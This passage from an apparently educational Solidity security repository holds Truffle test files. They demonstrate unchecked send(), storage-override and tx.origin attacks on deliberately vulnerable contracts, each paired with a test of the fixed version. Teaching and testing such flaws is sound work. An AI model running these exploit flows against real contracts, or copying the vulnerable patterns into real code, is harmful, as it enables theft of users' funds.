attacker.deposit({value: 100}); }).then(() => { return wallet.balanceOf(attacker.address); }).then(attackerBalance => { assert.equal(100, attackerBalance); // Here the bug happens. Attacker withdraws, the victim tries to send ether, but it does not accept it. // Since the attacker does not check the output of send(), it removes the funds from the balances and totalSupply // variables, but the contract still has the amount in its balance, breaking the invariant. return attacker.withdraw(50); }).catch(error => { assert(true, "A revert is executed in the attacker fallback function"); }).then(() => { return wallet.balanceOf(attacker.address); }).then(attackerBalance => { assert.equal(50, attackerBalance); return web3.eth.getBalance(wallet.address); }).then(walletBalance => { // Checking that the balance of the contract was untouched even if attacker tried to withdraw assert.equal(125, walletBalance); return wallet.getTotalSupply.call(); }).then(walletTotalSupply => { // checking that the invariant is now broken assert.equal(75, walletTotalSupply); // We check that now noone can withdraw from the wallet because the invariant is violated return wallet.withdraw(1); }).then(() => { assert(false, "This block should not be run"); }).catch(error => { assert(true, "assert() kicks in"); }).then(() => { return wallet.balanceOf(accounts[0]); }).then(balance0 => { // we check again that the balance of account[0] did not change because it is not possible to withdraw assert.equal(25, balance0); }); }); }); ================================================ FILE: test/send/sendTestFixed.js ================================================ var WalletSendBugFixed = artifacts.require("./WalletSendBugFixed.sol"); var WalletSendAttacker = artifacts.require("./WalletSendAttacker.sol"); contract("WalletSendBug", (accounts) => { var wallet; var attacker; it("Unchecked send()", () => { return WalletSendBugFixed.deployed().then(instance => { wallet = instance; return instance.address; }).then((address) => { return WalletSendAttacker.new(address); }).then(attackerInstance => { attacker = attackerInstance; return wallet.deposit({value: 50}); }).then(() => { return wallet.balanceOf(accounts[0]); }).then(balance0 => { assert.equal(50, balance0); return wallet.withdraw(25); }).then(() => { return wallet.balanceOf(accounts[0]); }).then(balance0 => { // checking than deposit & withdraw work as expected assert.equal(25, balance0); return attacker.deposit({value: 100}); }).then(() => { return wallet.balanceOf(attacker.address); }).then(attackerBalance => { assert.equal(100, attackerBalance); // The bug does not happen now return attacker.withdraw(50); }).catch(error => { assert(true, "Attacker does not accept ether, so this fails"); }).then(() => { return wallet.balanceOf(attacker.address); }).then(attackerBalance => { assert.equal(100, attackerBalance); return web3.eth.getBalance(wallet.address); }).then(walletBalance => { assert.equal(125, walletBalance); return wallet.getTotalSupply.call(); }).then(walletTotalSupply => { // the invariant is fine now assert.equal(125, walletTotalSupply); // We check that withdrawals work return wallet.withdraw(1); }).then(() => { return wallet.balanceOf(accounts[0]); }).then(balance0 => { assert.equal(24, balance0); }); }); }); ================================================ FILE: test/storageoverride/testStorageOverride.js ================================================ var StorageVictim = artifacts.require("./StorageVictim.sol"); contract("Storage override", (accounts) => { var storage; it("Test storage override" , () => { return StorageVictim.deployed().then(instance => { storage = instance; }).then(() => { return storage.getOwner.call(); }).then(owner => { assert.equal(accounts[0], owner); // here we override storage address 0 instead of adding the struct into the mapping return storage.store(5, {from : accounts[1]}); }).then(() => { return storage.getOwner.call(); }).then(owner => { assert.equal(accounts[1], owner); return storage.getStore.call({from: accounts[1]}); }).then(result => { assert.equal(accounts[1], result[0]); assert.equal(5, result[1]); }); }); }); ================================================ FILE: test/storageoverride/testStorageOverrideFixed.js ================================================ var StorageVictimFixed = artifacts.require("./StorageVictimFixed.sol"); contract("Storage override Fixed", (accounts) => { var storage; it("Test storage override Fixed" , () => { return StorageVictimFixed.deployed().then(instance => { storage = instance; }).then(() => { return storage.getOwner.call(); }).then(owner => { assert.equal(accounts[0], owner); return storage.store(5, {from : accounts[1]}); }).then(() => { return storage.getOwner.call(); }).then(owner => { // owner didn't change assert.equal(accounts[0], owner); return storage.getStore.call({from: accounts[1]}); }).then((result) => { assert.equal(accounts[1], result[0]); assert.equal(5, result[1]); }); }); }); ================================================ FILE: test/txorigin/txOriginTest.js ================================================ var TxOriginVictim = artifacts.require("./TxOriginVictim.sol"); var TxOriginAttacker = artifacts.require("./TxOriginAttacker.sol"); contract("TxOriginVictim", (accounts) => { var victim; var attacker; it("Test tx.origin", () => { return TxOriginVictim.deployed().then(instanceVictim => { victim = instanceVictim; return victim.address; }).then(victimAddress => { return TxOriginAttacker.new(victimAddress, accounts[1]); }).then(attackerInstance => { attacker = attackerInstance; return web3.eth.getBalance(victim.address); }).then((victimBalance) => { assert.equal(0, victimBalance); return attacker.getOwner.call(); }).then(attackerOwner => { assert.equal(accounts[1], attackerOwner); return victim.getOwner.call(); }).then(victimOwner => { assert.equal(accounts[0], victimOwner); // deposit ether into victim contract from accounts[0] web3.eth.sendTransaction({ from: accounts[0], to: victim.address, value: 5 }); }).then(() => { return web3.eth.getBalance(victim.address); }).then(victimBalance => { assert.equal(5, victimBalance); // this should not work, since accounts[1] is not the owner return victim.transferTo(accounts[1], victimBalance, {from: accounts[1]}); }).then(() => { assert(false, "It should revert"); }).catch((error) => { assert(true); return web3.eth.getBalance(victim.address); }).then(victimBalance => { assert.equal(5, victimBalance); // If the owner of the victim contract is tricked somehow to send ether to the attacker contract... web3.eth.sendTransaction({ from: accounts[0], to: attacker.address, value: 1 }); }).then(() => { return web3.eth.getBalance(victim.address); }).then(victimBalance => { // we check that the victim contract balance is 0 assert.equal(0, victimBalance); }); }); }); ================================================ FILE: test/txorigin/txOriginTestFixed.js ================================================ var TxOriginVictimFixed = artifacts.require("./TxOriginVictimFixed.sol"); var TxOriginAttacker = artifacts.require("./TxOriginAttacker.sol"); contract("TxOriginVictim Fixed", (accounts) => { var victim; var attacker; it("Test tx.origin fixed", () => { return TxOriginVictimFixed.deployed().then(instanceVictim => { victim = instanceVictim; return victim.address; }).then(victimAddress => { return TxOriginAttacker.new(victimAddress, accounts[1]); }).then(attackerInstance => { attacker = attackerInstance; return web3.eth.getBalance(victim.address); }).then((victimBalance) => { assert.equal(0, victimBalance); return attacker.getOwner.call(); }).then(attackerOwner => { assert.equal(accounts[1], attackerOwner); return victim.getOwner.call(); }).then(victimOwner => { assert.equal(accounts[0], victimOwner); // deposit ether into victim contract from accounts[0] web3.eth.sendTransaction({ from: accounts[0], to: victim.address, value: 5 }); }).then(() => { return web3.eth.getBalance(victim.address); }).then(victimBalance => { assert.equal(5, victimBalance); // this should not work, since accounts[1] is not the owner return victim.transferTo(accounts[1], victimBalance, {from: accounts[1]}); }).then(() => { assert(false, "It should revert"); }).catch((error) => { assert(true); return web3.eth.getBalance(victim.address); }).then(victimBalance => { assert.equal(5, victimBalance); // this transfer will revert with the fixed version of the victim contract web3.eth.sendTransaction({ from: accounts[0], to: attacker.address, value: 1 }); }).then(() => { assert(false, "Should revert, checking msg.sender and not tx.origin"); }).catch((error) => { return web3.eth.getBalance(victim.address); }).then(victimBalance => { // we check that the victim contract balance is 5 and it is not vulnerable now assert.equal(5, victimBalance); }); }); }); ================================================ FILE: truffle-config.js ================================================ module.exports = { // See // to customize your Truffle configuration! compilers: { solc: { version: "0.4.24" // ex: "0.4.20". (Default: Truffle's installed solc) } } } ================================================ FILE: truffle.js ================================================ module.exports = { // See // to customize your Truffle configuration! };